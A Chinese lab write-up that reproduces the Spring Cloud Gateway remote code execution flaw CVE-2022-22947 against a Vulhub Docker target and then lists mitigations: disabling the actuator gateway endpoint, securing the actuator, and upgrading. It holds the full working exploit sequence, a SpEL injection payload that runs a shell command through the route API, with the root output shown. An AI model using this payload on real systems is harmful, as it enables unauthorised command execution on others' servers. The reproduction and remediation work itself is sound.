参考链接:
1、Spring Cloud Gateway RCE (CVE-2022-22947)漏洞复现
2、CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞复现及修复建议
3、Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
4、actuator.html#actuator.endpoints.security
漏洞影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
漏洞级别:
高危
一、复现1
在测试机192.168.1.197上用docker开启Vulhub靶场环境
docker run -itd -p 8010:8080 --name spring vulhub/spring-cloud-gateway:3.1.0
开始用postman发送(看上面的参考用了Burp Suite和Yakit,后续研究渗透测试,可以主要看下Yakit)
1、添加路由(POST)
http://192.168.1.197:8010/actuator/gateway/routes/hacktest
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
其中让执行whoami
2、刷新路由(POST)
http://192.168.1.197:8010/actuator/gateway/refresh
3、获取执行结果(GET)
http://192.168.1.197:8010/actuator/gateway/routes/hacktest
得到了结果:
{
"predicate": "RouteDefinitionRouteLocator$$Lambda$964/1378115041",
"route_id": "hacktest",
"filters": [
"[[AddResponseHeader Result = 'root\n'], order = 1]"
],
"uri": "http://example.com:80",
"order": 0
}
可以看到拿到了用户root的结果
4、删除路由(DELETE)
http://192.168.1.197:8010/actuator/gateway/routes/hacktest
这一步的执行,猜测可能就是摸出攻击痕迹
5、再一次刷新路由(POST)
http://192.168.1.197:8010/actuator/gateway/refresh
二、解决方案
1、关闭actuator的gateway
management.endpoint.gateway.enabled=false
关闭后用postman发送
添加路由(POST)
http://127.0.0.1:30000/actuator/gateway/routes/hacktest
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
其中让执行whoami
直接就阻挡住了
2、使用Spring Security保护actuator
具体参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
因为如果作为临时方案,其实用上面的关闭actuator的gateway即可,所以这里不赘述
3、升级到安全版本
此方案一劳永逸解决了CVE-2022-22947漏洞
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7